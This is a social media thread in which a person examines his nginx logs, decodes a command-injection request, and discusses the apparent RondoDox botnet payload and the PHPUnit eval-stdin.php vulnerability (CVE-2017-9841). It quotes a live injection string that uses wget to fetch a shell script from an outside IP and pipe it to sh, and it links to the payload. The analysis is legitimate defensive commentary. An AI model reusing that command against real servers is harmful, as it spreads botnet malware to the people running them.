Luke WrenNov 12
Apparently some servers support a GET request that will curl a random bash script from the internet and run it. Useful feature, that. (Adventures in reading my nginx logs)
Show threadLuke WrenNov 12

Decodes to:

cat_id=${system(wget -qO- http://74.194.191.52/rondo.wcr.sh|sh)}

I have to admire the use of POSIX-compliant shell.

Payload is here if anyone is curious: https://pastes.io/wcrrondosh

Obviously don't run it but I love that if you get down far enough it will try to execute a Motorola 68k binary

Pastes.io

wcr.rondo.sh

Pastes.io
Show threadLuke WrenNov 12

4.217.221.207 - - [12/Nov/2025:23:27:53 +0000] "GET /xmrlpc.php HTTP/1.1" 404 146 "-" "-"

That's not how you spell xmlrpc, and that's not where wordpress puts that

Show threadLuke WrenNov 12
Faintly surprised to learn from a malware binary payload that there are ARC 700 systems running systemd. I didn't even know these things had virtual memory
Show threadLuke WrenNov 12

I'd guess it's a variant of this: https://www.fortinet.com/blog/threat-research/rondobox-unveiled-breaking-down-a-botnet-threat

Mine has an identical init.d script format string embedded, not obfuscated, it just comes out with `strings` lol

RondoDox Unveiled: Breaking Down a New Botnet Threat | FortiGuard Labs

FortiGuard Labs analyzes RondoDox, a stealthy new botnet targeting TBK DVRs and Four-Faith routers via CVE-2024-3721 and CVE-2024-12856. Learn how it evades detection, establishes persistence, and …

Fortinet Blog
Show threadLuke Wren

Based on nginx logs there is a package called phpunit which ships a file called, and I am 100% serious, `eval-stdin.php`.

Feels like security research is 10% the most intense shit you've ever seen and 90% "oh no! we left the untrusted strings next to the String Executor!"

Nov 13 at 9:45pmWeb
Show threadLuke WrenNov 13
It does exactly what you think btw https://nvd.nist.gov/vuln/detail/cve-2017-9841
NVD - cve-2017-9841

Show threadaksNov 13
@wren6991 Work story told by a friend: one of their websites were "mysteriously wiped out", more than once, and people were speculating whether it was a repeated hacker attack… until someone found an "init-database.php", reachable by crawler bots.
Show threaddmi 💽 Nov 13

@wren6991 i briefly researched this at one point (as I’ve also seen this in my logs)

turns out that this was a part of their test suite that wasn’t supposed to be shipped on any public pages. so in most cases it was downstream’s fault for leaving the composer package directory below the webroot, i suppose?

PHP is full of really idiotic gotchas like this, i swear there’s no reason for the structure to be like this

Show threadDave bauerNov 14
@domi @wren6991 You know just keeping the XML config files with all of your secrets under the web root. What could go wrong, I'm sure someone will remember to configure the web server to hide those.
Show threadÖlbaumDec 8
@domi PHPUnit is a unit test package. It goes in the dev dependencies. You don’t ship the dev dependencies to production. A lot of other languages also have package managers where you shouldn’t ship the dev dependencies to production.
@wren6991
Show threadMichaelNov 14
@wren6991 make it a conference talk! https://hachyderm.io/@richardstephens/115422229767747629
Richard Stephens (@[email protected])

Security conference talks fall into two categories * we designed a distributed entropy siphon to perform a black-box hypervisor side channel escape and chain-load a persistent rootkit into the CPU cache * we looked behind the sofa and found an entire industry of products/services that have made no attempt at security at all and are therefore vulnerable to the most basic issues that we've been finding in everything for the past 30 years, and no-one else had bothered to look.

Hachyderm.io